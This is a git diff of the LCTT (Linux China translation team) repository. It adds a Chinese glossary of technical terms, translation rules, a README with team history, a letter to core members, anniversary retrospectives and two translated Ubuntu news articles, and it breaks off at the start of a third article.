diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000000..7b56441580 --- /dev/null +++ b/.gitignore @@ -0,0 +1,5 @@ +*.md~ +members.md +*.html +*.bak +.DS_Store diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 0000000000..64ae20885b --- /dev/null +++ b/.gitmodules @@ -0,0 +1,3 @@ +[submodule "comic"] + path = comic + url = https://wxy@github.com/LCTT/comic.git diff --git a/Dict.md b/Dict.md new file mode 100644 index 0000000000..82454cfa5d --- /dev/null +++ b/Dict.md @@ -0,0 +1,163 @@ + + +
Linux中国术语词典
+
+
[Linux中国](http://www.linux.cn)出品
+**************************************************** +**************************************************** +本词典为规范Linux中国翻译组(LCTT)技术术语翻译而编写,同时也方便广大翻译志愿者查阅。限于编写者的水平,其中可能有不完善或疏漏的地方,希望广大翻译志愿者不吝指正。同时,希望广大翻译志愿者能提供相关术语的翻译供大家参考。另外,若在翻译过程中对某些术语有疑虑,可在我们的QQ专门群中进行讨论。在此,谨代表LCTT感谢各位志愿者的辛勤劳动和无私奉献。 +

LCTT翻译组

+**************************************************** + +#### A #### +### 1. APM:高级电源管理 +### 2. +#### B #### +### 1. Backbone:骨干 +> 是一个网络的一部分,其作为所有网络运输的一个基本通道,其需要非常高的带宽。一个骨干网络的服务提供者连接许多企业子网和较小服务提供者的网络。一个企业骨干网络连接许多局域网和数据中心。 + +### 2. B channel(Bearer channel):承载信道 +> 承载信道(Bearer Channel),也叫做B channel,是一个全双工DS0时间槽(64-kbps),其携带模拟语音或数字资料通过综合服务数字网(ISDN)。 + +### 3. Backchannel:反向通道 +> 是指当其他实时在线会话在进行中时,习惯使用网络化的计算机来维持一个实时的在线会话。 + +### 4. Back End:后台 +> 在一个计算机系统中,是指为一个前台作业提供服务的一个节点或软件程序。前台直接影响用户,后台可能与其他系统相连接,如数据库和其它系统。 + +### 5. Back-haul:回程线路 +> 是一个通信信道,它使携带信息流到远于最终目的地的地方,然后将它送回。这样做是因为传输到更远的远程区域的代价要远比直接发送的代价低地多。 + +### 6. Backoff:退避 +> 是指当一个主机已经在有MAC 协议的网络中经历了一个冲突之后试图去重发之前的等待时期。这个退避时间通常是任意的来最小化相同节点再次冲突的可能性。在每次冲突后增加退避时期也能帮助预防重复碰撞,特别当这个网络负担很重时。 + +### 7. Backplane:附加卡 +> 在许多网络中是一个物理接口模块,例如,连接在一个界面处理器或卡和在一个总线机箱内数据总线和功率分配总线之间的一个路由器或转换器。 + +### 8. Back Pressure:背压 +> 在计算机系统中,是指网络拥塞信息逆流通过一个Internet网络。 + +### 9. Balun(balanced-unbalanced):不平衡变压器 +> 意味着平衡-非平衡。不平衡变压器是一个设计用来转换平衡和不平衡之间的电信号的设备。 + +### 10. Baseband:基带 +> 是一种类型的网络技术,在那里仅仅一种载波频率被使用。在一个基带网中,信息在传送介质中以数字的形式被携带在一个单一的多元信号通道中。 + +### 11. Bastion Host:防御主机 +> 是在内部网络和外部网络之间的一个网关,它被设计来防御针对内部网络的攻击。这个系统在非武装区(DMZ)的公共一边,不被防火墙或过滤路由器保护,它对攻击是完全暴露的。 + +### 12: Bc(Committed Burst):约定资讯讯务 +> 是一个用在帧中继系统的术语,是一个帧中继交互网约定接受和传输和通过一个帧中继网络数据链路控制(DLC)和一个特殊的时帧的最大数据量(用比特表示)。 + +### 13. BCP(Best Current Practices):最优现行方法 +> 是副系列的IETF RFCs,其被用于描述在Internet上的最优配置技术。 + +### 14. BCU(Balanced Configuration Unit):平衡配置单元 +> 是一个综合的IBM解决方法,它由软件和硬件组成。BCUs是综合的和测试作为数据仓库系统的预配置功能块。 + +### 15. BECN(Backward Explicit Congestion Notification):显式拥塞通知 +> 是在帧中继报头的一个1比特域,其发信号到任何接收帧的事物(转换器和数据终端设备),拥塞就发生在帧的反面(后面)。帧中继转换器和数据终端设备可能遵照显式拥塞通知位来减慢那个方向的数据传输率。 + +### 16. BER(Bit Error Rate):误码率 +> 是接收到的位包含错误的比率。BER通常被表示成十足的负面力量。 + +### 17. BIP(Bit Interleaved Parity):位交叉奇偶校验 +> 一个用在ATM中的术语,是一个通常用来检测链接错误的一种方法。一个检测位或字被嵌入到以前发生阻塞或帧的链接中。位错误在有效载荷中能够作为维护信息被删除和报告。 + +#### C #### + +#### D #### +### 1. daemon:守护进程 +### 2. +#### F #### + +#### G #### + +#### H #### +### 1. Home Directory:家目录 +#### I #### +### 1. issue:工单 +> 有翻译做“问题”的,但是应该译作“工单”,尤其是用于 GitHub 中。 + +#### J #### + +#### K #### + +#### L #### +### 1. live CD:现场版 CD +> 通常不翻译,但是如果翻译,可以译作“现场版”。 +### 2. live patch: 实时补丁/热补丁 +> 指 Linux 内核的 live patch 支持。 + +### 2. LTS(Long Term Support):长期支持 +> 该缩写词多见于操作系统发行版或者软件发行版名称中,表明该版本属于长期支持版。 + +#### M #### + +#### N #### + +#### O #### +### 1. Orchestration:编排 +> 描述复杂计算机系统、中间件(middleware)和业务的自动化的安排、协调和管理(来自维基百科)。 + +#### P #### +### 1. P-code(Pseudo-code):伪代码语言 +> 一种解释型语言,执行方式介于编译型语言和解释型语言之间。和解释型语言一样,伪代码编程语言无需编译,在执行时自动转换成二进制形式。然而,和编译型语言不同的是,这种可执行的二进制文件是以伪代码的形式而不是机器语言的形式存储的。伪代码语言的例子有 Java、Python 和 REXX/Object REXX。 + +### 2. PAM(Pluggable Authentication Modules):可插拔认证模块 +> 用于系统安全性的可替换的用户认证模块,它允许在不知道将使用何种认证方案的情况下进行编程。这允许将来用其它模块来替换某个模块,却无需重写软件。 + +### 3. Port/Ported/Porting:移植 +> 一个过程,即获取为某个操作系统平台编写的程序,并对其进行修改使之能在另一 OS 上运行,并且具有类似的功能。 + +### 4. POSIX(Portable Operating System Interface for uniX):UNIX 可移植操作系统接口 +> 一组编程接口标准,它们规定如何编写应用程序源代码以便应用程序可在操作系统之间移植。POSIX 基于 UNIX,它是 The Open Group 的 X/Open 规范的基础。 + +#### Q #### + +#### R #### +### 1. RCS(Revision Control System):修订控制系统 +> 一组程序,它们控制组环境下文件的共享访问并跟踪文本文件的变化。常用于维护源代码模块的编码工作。 + +### 2. RFS(Remote File Sharing):远程文件共享 +> 一个程序,它让用户访问其它计算机上的文件,就好象文件在用户的系统上一样。 + +#### S #### +### 1. shebang [ʃɪ'bæŋ]:释伴 +> Shebang(也称为Hashbang)是一个由井号和叹号构成的字符序列(#!),出现在文本文件的第一行的前两个字符,后跟解释器路径,如:#!/bin/sh,这通常是Linux中shell脚本的标准起始行。 +> 长期以来,shebang都没有正式的中文名称。Linux中国翻译组将其翻译为:释伴,即解释伴随行的简称,同时又是shebang的音译。 + +### 2. Spool(Simultaneous Peripheral Operation On-Line):假脱机 +> 将数据发送给一个程序,该程序将该数据信息放入队列以备将来使用(例如,打印假脱机程序) + +### 2. Steganography:隐写术 +> 将一段信息隐藏在另一段信息中的做法。一个示例是在数字化照片中放置不可见的数字水印。 + +### 3. Swap:交换 +> 暂时将数据(程序和/或数据文件)从随机存取存储器移到磁盘存储器(换出),或反方向移动(换入),以允许处理比物理内存所能容纳的更多的程序和数据。 + +### 4. Scheduling:调度 +> 将任务分配至资源的过程,在计算机或生产处理中尤为重要(来自维基百科)。 + +#### T #### +### 1. Time-sharing:分时 +> 一种允许多个用户分享处理器的方法,它以时间为基础给每个用户分配一部分处理器资源,按照这些时间段轮流运行每个用户的进程。 + +### 2. TL;DR:长篇摘要 +> Too Long;Didn't Read的缩写词,即太长,未阅的意思。该词多见于互联网社区论坛中,用于指出该文太长,没有阅读,或者标示出一篇长文章的摘要。在论坛回复中,该缩写词也多作为灌水用。因此,Linux中国翻译组将其翻译为:长篇摘要。 + +#### U #### + +#### V #### +### 1. VRML(Virtual Reality Modeling Language):虚拟现实建模语言 +> 一种主要基于 Web 的语言,用于 3D 效果(如构建遍历)。 + +#### W #### +### 1. Wrapper:封装器 +> 用于启动另一个程序的程序。 + +#### X #### + +#### Y #### + +#### Z #### diff --git "a/LCTT\347\277\273\350\257\221\350\247\204\350\214\203.md" "b/LCTT\347\277\273\350\257\221\350\247\204\350\214\203.md" new file mode 100644 index 0000000000..b9a514f115 --- /dev/null +++ "b/LCTT\347\277\273\350\257\221\350\247\204\350\214\203.md" @@ -0,0 +1,4 @@ +# Linux中国翻译规范 +1. 翻译中出现的专有名词,可参见Dict.md中的翻译。 +2. 英文人名,如无中文对应译名,一般不译。 +2. 缩写词,一般不须翻译,可考虑旁注中文全名。 \ No newline at end of file diff --git a/README.md b/README.md index 4b6938c25e..ccbb2ba171 100644 --- a/README.md +++ b/README.md @@ -1,42 +1,100 @@ -翻译项目 -================ +简介 +------------------------------- + +LCTT 是“Linux中国”([https://linux.cn/](https://linux.cn/))的翻译组,负责从国外优秀媒体翻译 Linux 相关的技术、资讯、杂文等内容。 + +LCTT 已经拥有几百名活跃成员,并欢迎更多的Linux志愿者加入我们的团队。 -分工 +![logo](https://linux.cn/static/image/common/lctt_logo.png) + +LCTT 的组成 ------------------------------- -**选题** -* 负责选择需要翻译的文章,并将其发布到sources目录。 -* 一篇文章一个文件。 -* 文件头标明来源URL地址。 +**选题**,负责选择合适的内容,并将原文转换为 markdown 格式,提交到 LCTT 的 [TranslateProject](https://github.com/LCTT/TranslateProject) 库中。 + +**译者**,负责从选题中选择内容进行翻译。 -**译者** +**校对**,负责将初译的文章进行文字润色、技术校对等工作。 -* 从选题中选择适当的文章,将其移动到translating目录,表明开始进行翻译(移动后记得commit&Sync)。 -* 进行翻译。 -* 翻译后将其移动到proof目录。 +**发布**,负责将校对后的文章,排版进行发布。 -**校对** +加入我们 +------------------------------- -* 对proof目录中需要校对的内容进行译稿校对,进行文字润色。 -* 对文章进行专业内容方面的校对和审定。 -* 翻译完成之后,将文章移动到published目录准备发布。 +请首先加入翻译组的 QQ 群,群号是:198889102,加群时请说明是“志愿者”。加入后记得修改您的群名片为您的 GitHub 的 ID。 -**发布** +加入的成员,请先阅读 [WIKI 如何开始](https://github.com/LCTT/TranslateProject/wiki/01-如何开始)。 -* 对校对后的文章进行排版。 -* 发布文章到网站,并推送到各个平台。 +如何开始 +------------------------------- +请阅读 [WIKI](https://github.com/LCTT/TranslateProject/wiki)。 -QQ群交流 ------------------------------- +历史 +------------------------------- -翻译组的QQ群号是:131864150 +* 2013/09/10 倡议并得到了大家的积极响应,成立翻译组。 +* 2013/09/11 采用 GitHub 进行翻译协作,并开始进行选题翻译。 +* 2013/09/16 公开发布了翻译组成立消息后,又有新的成员申请加入了。并从此建立见习成员制度。 +* 2013/09/24 鉴于大家使用 GitHub 的水平不一,容易导致主仓库的一些错误,因此换成了常规的 fork+PR 的模式来进行翻译流程。 +* 2013/10/11 根据对 LCTT 的贡献,划分了 Core Translators 组,最先的加入成员是 vito-L 和 tinyeyeser。 +* 2013/10/12 取消对 LINUX.CN 注册用户的关联,在 QQ 群内、文章内都采用 GitHub 的注册 ID。 +* 2013/10/18 正式启动 man 翻译计划。 +* 2013/11/10 举行第一次北京线下聚会。 +* 2014/01/02 增加了 Core Translators 成员: geekpi。 +* 2014/05/04 更换了新的 QQ 群:198889102 +* 2014/05/16 增加了 Core Translators 成员: will.qian、vizv。 +* 2014/06/18 由于 GOLinux 令人惊叹的翻译速度和不错的翻译质量,升级为 Core Translators 成员。 +* 2014/09/09 LCTT 一周年,做一年[总结](http://linux.cn/article-3784-1.html)。并将曾任 CORE 的成员分组为 Senior,以表彰他们的贡献。 +* 2014/10/08 提升 bazz2 为 Core Translators 成员。 +* 2014/11/04 提升 zpl1025 为 Core Translators 成员。 +* 2014/12/25 提升 runningwater 为 Core Translators 成员。 +* 2015/04/19 发起 LFS-BOOK-7.7-systemd 项目。 +* 2015/06/09 提升 ictlyh 和 dongfengweixiao 为 Core Translators 成员。 +* 2015/11/10 提升 strugglingyouth、FSSlc、Vic020、alim0x 为 Core Translators 成员。 +* 2016/02/18 由于选题 DeadFire 重病,任命 oska874 接手选题工作。 +* 2016/02/29 选题 DeadFire 病逝。 +* 2016/05/09 提升 PurlingNayuki 为校对。 +* 2016/09/10 LCTT 三周年。 +* 2016/12/24 拟定 LCTT [Core 规则](core.md),并增加新的 Core 成员: ucasFL、martin2011qi,及调整一些组。 +* 2017/03/13 制作了 LCTT 主页、成员列表和成员主页,LCTT 主页将移动至 https://linux.cn/lctt 。 +* 2017/03/16 提升 GHLandy、bestony、rusking 为新的 Core 成员。创建 Comic 小组。 +* 2017/04/11 启用头衔制,为各位重要成员颁发头衔。 + +核心成员 +------------------------------- -各个角色请分别在群名片前加前缀: +目前 LCTT 核心成员有: -* 选题- -* 译者- -* 校对- -* 排版- +- 组长 @wxy, +- 选题 @oska874, +- 校对 @jasminepeng, +- 钻石译者 @geekpi, +- 钻石译者 @GOLinux, +- 钻石译者 @ictlyh, +- 技术组长 @bestony, +- 漫画组长 @GHLandy, +- LFS 组长 @martin2011qi, +- 核心成员 @strugglingyouth, +- 核心成员 @FSSlc, +- 核心成员 @zpl1025, +- 核心成员 @runningwater, +- 核心成员 @bazz2, +- 核心成员 @Vic020, +- 核心成员 @alim0x, +- 核心成员 @tinyeyeser, +- 核心成员 @Locez, +- 核心成员 @ucasFL, +- 核心成员 @rusking, +- 前任选题 @DeadFire, +- 前任校对 @reinoir222, +- 前任校对 @PurlingNayuki, +- 前任校对 @carolinewuyan, +- 功勋成员 @vito-L, +- 功勋成员 @willqian, +- 功勋成员 @vizv, +- 功勋成员 @dongfengweixiao, +全部成员列表请参见: https://linux.cn/lctt-list/ 。 +谢谢大家的支持! \ No newline at end of file diff --git a/comic b/comic new file mode 160000 index 0000000000..e5db5b880d --- /dev/null +++ b/comic @@ -0,0 +1 @@ +Subproject commit e5db5b880dac1302ee0571ecaaa1f8ea7cf61901 diff --git a/core.md b/core.md new file mode 100644 index 0000000000..da45c009fc --- /dev/null +++ b/core.md @@ -0,0 +1,39 @@ +给核心成员的一封信 +=================== + +鉴于您的卓越贡献,我邀请您成为 LCTT 的核心(Core)成员。 + +作为核心成员,您拥有如下权利: + +- 您能够合并您以及其它普通成员的 PR +- 您能够校对其它普通成员的文章,并提交校对 PR +- 您能够建议或反对将某位普通成员升级为核心成员 +- 您能够自主添加符合 LCTT 定位的选题并翻译 +- 您能够以 LCTT 核心成员名义宣称、署名 +- 在得到 LCTT 同意后,以 LCTT 身份出席活动 +- 在得到 LCTT 同意后,创建 LCTT 名下的其它仓库并管理(及邀请其它成员参与) +- 成为 LinuxCN 管理团队的一员 +- 参与 LCTT 及 LinuxCN 决策投票 + +以下是不允许的行为,虽然您可能有这样的权限: + +- 直接在 LCTT 主仓库上提交修改 +- 在 LCTT 主仓库上创建分支 + +除此以外,您有以下义务: + +- 为您的 GitHub 账户创建安全的密码 +- 为您的 GitHub 账户创建 2FA 验证 +- 不得外借您的 GitHub 账户,您需要为您的账户负责 +- 保持参与度,如长期不能参与,会转换身份为荣誉成员,并放弃相应权限 +- 接待新加入的成员,并做好引导个工作 +- 维护 Wiki + +作为核心成员,您会执行一些管理工作,以下是一些惯例: + +- 合并 PR 时,要按时间顺序,从最早的(最下方)的开始合并 +- 合并 PR 时,如果与仓库或前面的 PR 冲突,则关闭该 PR,并提醒 PR 发起人修改处理 +- 除非必要,合并 PR 时不要 squash-merge + +wxy@LCTT +2016/12/24 \ No newline at end of file diff --git a/lctt2014.md b/lctt2014.md new file mode 100644 index 0000000000..760079c21f --- /dev/null +++ b/lctt2014.md @@ -0,0 +1,83 @@ +LCTT 2014 : LCTT 成立一年总结 +============================ + +### 缘起 ### + +一年前,我因为开发 Linux 中国的微信公众号,想着在公众号里面提供 Linux 的 man 手册应该是个不错的主意,因此在网上遍寻中文 man 手册。虽然我之前也寻找过中文的 man 手册,知道颇多不全和错漏,但是这次仔细搜寻之下,却发现还远较我预计的还差。 + +无奈之下,只能先使用了英文版本作为 man 的内容,并因此萌发了组织一个翻译 man 手册的活动或组织的想法。说干就干,当时我就在 Linux 中国的 QQ 群里面发起了倡议,还真得到了大家响应。 + +于是,2013 年 9 月 10日,草草而就的 LCTT 就成立了,很快就创建了一个 QQ 群作为交流,并确定了名称为“Linux.CN Translate Team”,简称 LCTT。考虑到需要多人协作,几乎没有多想,就决定了采用 GITHUB 作为翻译平台——虽然现在看起来,GITHUB 作为主要工作平台,有利也有弊,但是,总体来说还是不错的。LCTT 就这样启动了。 + +### 发展 ### + +次日,我们就组织起来了翻译,并初步拟定了翻译流程、分工之类的内容。 + +LCTT 草创,各种方面都没有经验,也出现过一些失误。比如说,开始时对于 GITHUB 以及 GIT,大部分人,包括我,都不是很熟悉,因此并未采用 Pull-Request 模式,而是共同控制的方式,也由于一些协调和经验的原因,出现过版本错误和回滚,甚至回滚得更乱。还有,初期还要求 LINUX 中国网站 的注册身份,但是后来发现这完全不必要。 + +本来成立 LCTT 的目标是为了 man 手册的翻译,但是经过研究,我发现翻译 man 手册还有一些困难: + +1. man 手册是二进制的 groff 格式,因此生成和解析需要一些额外的过程,甚至需要一些特定的环境; +2. man 手册对翻译的能力要求较高,并且应该对 man 手册所对应的命令有足够的了解,才能翻译得当,因为一字之差就可能导致很多误解。 + +所以,当时商量决定,先期启动普通的 Linux 方面、开源方面的文章翻译,以此来摸索翻译流程和锻炼协作,并作为翻译 man 手册的人员筛选环节。 + +我安排 Linux 中国站长,原本经常独自翻译发表来自国外文章的 DeadFire 来做选题。他负责将选题从英文的页面,转换成 Markdown 格式。我又找了朋友 jasminepeng 和 carolinewuyan 帮忙做校对,我自己则主要承担发布的工作。 + +初期,很快就涌现出了一些积极参与的人员,如 tinyeyeser、vito-L、boredivanivan等等,不一一列举了,他们不但积极参与翻译,而且还帮助撰写了第一批的翻译组 Wiki 文档,对引导新人起到了很大作用。 + +伴随着 LCTT 的逐步运作,一个月之后,我和大家感觉时间比较成熟了,就启动了 man 翻译计划。 + +### man 翻译计划的夭折 ### + +_写下这个标题时,我也颇感觉惭愧的,这也算是我正视这个结果吧。不管怎么说,现在还是深夜,未过零点,我终究是在 LCTT 一周年之前正视了失败。_ + +其实,前面提到过,我检索过各种可以找到的中文 man 翻译项目的结果,但种种结果让人无法满意,因此我觉得,我应该能吸取其中的教训,为 Linux、为开源做点实事出来。 + +我总结的之前的 man 翻译项目失败的原因大概如下: + +1. 缺乏足够的驱动力,翻译者无论从利益还是荣誉,都得不到鼓励,因此往往难以为继。 +2. 由于依赖个人热情,没有形成流动机制,因此,当某个人热情耗尽之后,就没有人继续接手维护。 +3. 翻译流程简单,没有形成初译、校对、发布等流程,无法保证质量,也没有保持同步更新的流程。 + +因此,我觉得,通过建立一个翻译的公益组织(即 LCTT)、建立翻译流程、翻译后保留翻译和校对等人员的署名,可以解决一些以上的问题。 + +但是,其实我还忽视了一点,翻译 man 手册,其实无论是环境还是流程,比较复杂,因此限制了参与者。参与门槛高,导致发展不能持续。 + +因此,实际上,man 翻译项目,在大概运作了一个月之后,就逐渐停滞下来了,虽然后期,willqian 独立完成了很多篇,但是总体来说,man 翻译项目算是失败了。 + +### 总结这一年 ### + +抛开 man 翻译项目的失败不说,其实,LCTT 还是成果累累。 + +这一年,我们完成了 5820 次提交,发起了 1482 个 PR,翻译了 805 篇文章。 + +这一年,我们有了 98 个贡献者,得到了 162 个 fork。 + +我使用了一个工具,根据这一年来我们 LCTT 翻译项目的 git 日志,生成了一段[视频](http://img.linux.net.cn/static/video/lctt2014.mp4)。看着视频中如辛勤的工蜂一样忙忙碌碌的志愿者们;看着如穿花蝴蝶一样,承担了更多工作量的选题、校对们;看着归档时如同施展魔法一样,瞬间变出了一朵朵花,我感觉我们这一年是有收获的一年! + +请大家观赏我们这一年: http://img.linux.net.cn/static/video/lctt2014.mp4 (213M,720p) + +这是我用 kdenlive 合成配音的。虽然我的乐感很差,只能选择一首自己觉得还算配的音乐;虽然我根本不会用 kdenlive,连配音淡出都琢磨半天;虽然我编译用于生成这个视频的 gource 都花费了几个小时来解决问题;但是,看到这份视频,我为我们 LCTT 这一年来的工作感到骄傲。 + +### 感谢你们 ### + +虽然很俗套,但是此刻,已经是 2014 年 9 月 10 日凌晨00:50了,我心情很激动,真心感谢所有的参与者、贡献者。几乎每个 LCTT 的成员我都知道,也有几个我特别熟悉;LCTT 的成员有新来的,也有逐渐淡出的,但是不论是那种,我都记得你们。 + +名单太长,我就不一一列举了: https://github.com/LCTT/TranslateProject/graphs/contributors + +### 接下来 ### + +我会说,man 计划我不会放弃么? + +是的,man 计划是 LCTT 之所以发起的原因,也是 LCTT 能够持久发展的基础,而 man 翻译也是真正对国内的 Linux 、开源发展有实在意义的事情,所以,我不会放弃。 + +我会投入精力开发一个翻译平台,用于 man 项目的翻译、校对和发布,将复杂的翻译环境配置和使用方法隐藏在后面;并增加可视化的图表和进度显示,明了的体现翻译工作进展;对接 man7.org 的最新更新,保持 man 内容的及时更新等等。 + +期待 LCTT 的下一个年度的发展吧! + +---- + +LCTT wxy + +2014 年 9 月 10 日 \ No newline at end of file diff --git a/lctt2016.md b/lctt2016.md new file mode 100644 index 0000000000..3481a9d40b --- /dev/null +++ b/lctt2016.md @@ -0,0 +1,42 @@ +LCTT 2016:LCTT 成立三周年了! +=========================== + +不知不觉,LCTT 已经成立三年了,对于我这样已经迈过四张的人来说,愈发的感觉时间过得真快。 + +这三年来,我们 LCTT 经历了很多事情,有些事情想起来仍恍如昨日。 + +三年前的这一天,我的一个偶发的想法促使我在 Linux 中国的 QQ 群里面发了一则消息,具体的消息内容已经不可考了,大意是鉴于英文 man 手册的中文翻译太差,想组织一些人来重新翻译。不料发出去之后很快赢得一些有热情、有理想的小伙伴们的响应。于是我匆匆建了一个群,拉了一些人进来,甚至当时连翻译组的名称都没有确定。LCTT (Linux.Cn Translation Team)这个名称都是后来逐步定下来的。 + +关于 LCTT 的早期发展情况,可以参考 LCTT 2014 年周年[总结](http://linux.cn/article-3784-1.html)。 + +虽然说“翻译 man 手册”这个最初建群的目标因为种种原因搁浅而一直未能重启,但是,这三年来,我们组织了 [213 位志愿者](https://github.com/LCTT/TranslateProject/graphs/contributors)翻译了 2155 篇文章,接受了 [4263 个 PR](https://github.com/LCTT/TranslateProject/pulls?q=is%3Apr+is%3Aclosed),得到了 476 个星。 + +这三年来,我们经历了 man 项目的流产、 LFS 手册的翻译发布、选题 DeadFire 的离去。得益于 Linux 中国的网站和微博,乃至微信的兴起后的传播,志愿者们的译文传播很广,切实的为国内的开源社区做出了贡献(当然,与此同时,Linux 中国社区也随之更加壮大)。 + +这些年间,LCTT 来了很多人,也有人慢慢淡出,这里面涌现了不少做出了卓越贡献的人,比如: + +- geekpi,作为整个 LCTT 项目中翻译量最大贡献者,却鲜少在群内说话,偶尔露面,被戏称为“鸡排兄”。 +- GOLinux,紧追“鸡排兄”的第二位强人,嗯,群内大部分人的昵称都是他起的,包括楼上。 +- tinyeyeser,“小眼儿”以翻译风趣幽默著称,是 LCTT 早期初创成员之一。 +- Vito-L,早期成员,LCTT 的多数 Wiki 出自于其手。 +- DeadFire,创始成员,从最开始到其离世,一直负责 LCTT 的所有选题工作。 +- oska874,在接过选题工作的重任后,全面主持 LCTT 的工作。 +- carolinewuyan,承担了相当多的校对工作。 +- alim0x,独立完成了 Android 编年史系列的翻译(多达 26 篇,现在还没发布完)等等。 + +其它还有 ictlyh、strugglingyouth、FSSlc、zpl1025、runningwater、bazz2、Vic020、dongfengweixiao、jasminepeng、willqian、vizv、ZTinoZ、martin2011qi、felixonmars、su-kaiyao、GHLandy、flsf、H-mudcup、StdioA、crowner、vim-kakali 等等,以及还有很多这里没有提到名字的人,都对 LCTT 做出不可磨灭的贡献。 + +具体的贡献排行榜,可以看[这里](https://github.com/LCTT/TranslateProject/graphs/contributors)。 + +每年写总结时,我都需要和 gource 以及 ffmpeg 搏斗半天,今年,我又用 gource 重新制作了一份 LCTT 的 GitHub 版本仓库的变迁视频,以飨众人。 + +本来想写很多,或许 LCTT 和 Linux 中国已经成了我的生活的一部分,竟然不知道该写点什么了,那就此搁笔罢。 + +另外,为 LCTT 的诸位兄弟姐妹们献上我及管理团队的祝福,也欢迎更多的志愿者加入 LCTT ,传送门在此: + +- 项目网站:https://lctt.github.io/ ,请先访问此处了解情况。 +- “Linux中国”开源社区:https://linux.cn/ ,所有翻译的文章都在这里以及它的同名微博、微信发布。 + +LCTT 组长 wxy + +2016/9/10 \ No newline at end of file diff --git a/proof/proof.md b/proof/proof.md deleted file mode 100644 index 52b45305c2..0000000000 --- a/proof/proof.md +++ /dev/null @@ -1 +0,0 @@ -proof 放需要校对的译稿,进行校对、排版等工作,校对完成之后放入 published 等待发布。 \ No newline at end of file diff --git a/published/201309/$350-$400 Solar-powered Ubuntu laptop SOL to be launched worldwide in December 2013.md b/published/201309/$350-$400 Solar-powered Ubuntu laptop SOL to be launched worldwide in December 2013.md new file mode 100644 index 0000000000..10dd98dcc0 --- /dev/null +++ b/published/201309/$350-$400 Solar-powered Ubuntu laptop SOL to be launched worldwide in December 2013.md @@ -0,0 +1,50 @@ +售价350-400美元的太阳能笔记本ubuntub SOL 将于2013年12月问世 +========= + +[SOL](http://solaptop.com/en/products/laptops/) 是一个绝对有趣的项目,它是一款价格低廉但性能强劲的太阳能笔记本电脑。 + +总的来说,SOL 是一个预装 **Ubuntu** 的太阳能笔记本,设计时考虑了多种使用场景,从无法使用电能的地方到人迹罕至的森林这类的边远地区,等等。基本上,在那些无法接通或者购买电能的地方使用该笔记本是很方便的。 + +当然,由于低廉的价格和适宜的配置,普通用户也可以在常规地点使用该太阳能 **Ubuntu** 笔记本,价格和恰当的硬件搭配上Ubuntu,结果就是可以用低于400美元的价格买到这个强劲的组合。 + +SOL的规格参数: + +- CPU: Intel Atom D2500 1.86 GHz Duo Core, Intel 945GSE + ICH7M +- HDD: Seagate 2.5” SATA HDD 320GB +- RAM: Kingston 2-4GB DDRIII SDRAM +- graphics: 1080p HD Vide, Built-In Intel GMA3600 Graphics +- battery operating time: 8~10 hours +- weight: 5.02 lbs +- display: 13.3" LCD, WXGA, 1366 x 768 +- camera: 3MP +- audio: Realtek ALC661 HD Audio, Built-in 2 Speakers | Internal mic + 1/8” input +- 3 USB2.0, Headphone jack, HDMI, LAN(10/100), Card reader (SD/MS/MMC) +- modem: 3G/4G World/multimode LTE +- GPS: gpsOne Gen8A +- WiFi: MIMO 802.11b/gn (2.4/5GHz) +- Bluetooth: Integrated Digital Core BT4.0 + +SQL设有多种风格,外观好看标新立异,醒目的标志图案,多种颜色可选,包括深色、灰色、绿色、红色,结果就是:一台优雅的移动设备。 + +![](http://iloveubuntu.net/pictures_me/sol%20laptop%201.jpg) +![](http://iloveubuntu.net/pictures_me/sol%20laptop%202.jpg) +![](http://iloveubuntu.net/pictures_me/sol%20laptop%203.jpg) + +David Snir,一名SOL开发者,他已经在Google+上 [分享](https://plus.google.com/109344265064351301756/posts/1F8DG57aBUy)了关于SQL(全球)即将发售的消息:“我们离 **全球发布(2013年12月)** 时间越来越近”,让用户们知道2013年12月这一时间的目的是为了使Ubuntu-powered SOL笔记本在全球的销售畅通可行。 + +在价格上,SOL笔记本将会在350-400美元之间,以及必要的税(税的多少取决于国家政策)。 + +via:http://iloveubuntu.net/350-400-solar-powered-ubuntu-laptop-sol-be-launched-worldwide-december-2013 + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[flsf01][] 校对:[jasminepeng][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[flsf01]:http://linux.cn/space/flsf01 +[jasminepeng]:http://linux.cn/space/jasminepeng + +[1]:http://iloveubuntu.net/350-400-solar-powered-ubuntu-laptop-sol-be-launched-worldwide-december-2013 +[2]:http://solaptop.com/en/products/laptops/ +[3]:https://plus.google.com/109344265064351301756/posts/1F8DG57aBUy \ No newline at end of file diff --git a/published/201309/5,800 Ubuntu users' 2013 Ubuntu cloud survey results published.md b/published/201309/5,800 Ubuntu users' 2013 Ubuntu cloud survey results published.md new file mode 100644 index 0000000000..5f89d1be14 --- /dev/null +++ b/published/201309/5,800 Ubuntu users' 2013 Ubuntu cloud survey results published.md @@ -0,0 +1,27 @@ +5800名Ubuntu用户的2013年Ubuntu云计算调查结果公布 +=========================================== + +Ubuntu在目前全球云计算环境中扮演着重要角色,它应用在强大的云计算生态系统中,并为其带来了创新。 + +因此,Ubuntu吸引了相当数量的云计算用户,其中一部分用户会参与到每年的云调查。 + +2013年的Ubuntu云调查已经有来自六大洲超过5800名的Ubuntu用户参加。用户们谈论自己有关Ubuntu服务器和云计算的使用经验,Ubuntu的Sally Radwan分享了一篇文章对将近六千名用户的测试结果做出的有趣的总结,他把这些用户的讨论、观点和评判进行了提炼并使其易读。 + +全球云计算的金融价值,云环境中有关工作负载量所占比例,Web服务器、数据库、备份和文件服务器(企业部署)所占比例的价值,什么样的云计算越来越可行,越来越值得追求,混合云处于什么位置(从使用者的角度来看),Ubuntu在云计算中是怎样被评价的等等。有关这些话题,请查看:http://insights.ubuntu.com/news/critical-workloads-private-deployments-and-market-opportunities-abound-in-the-cloud/ + +![img](http://iloveubuntu.net/pictures_me/2013%20Ubuntu%20cloud%20survey%20results.png) + +此外,该说明文章配有一步一步详细讲解的幻灯片,用户可以了解每一个部分。 + +via: http://iloveubuntu.net/5800-ubuntu-users-2013-ubuntu-cloud-survey-results-published + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[神之一手][] 校对:[Caroline][] + + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[神之一手]:http://linux.cn/space/14789 +[Caroline]:http://linux.cn/space/caroline + diff --git a/published/201309/A Visual History Of The Last 20 Years Of Open Source Code.md b/published/201309/A Visual History Of The Last 20 Years Of Open Source Code.md new 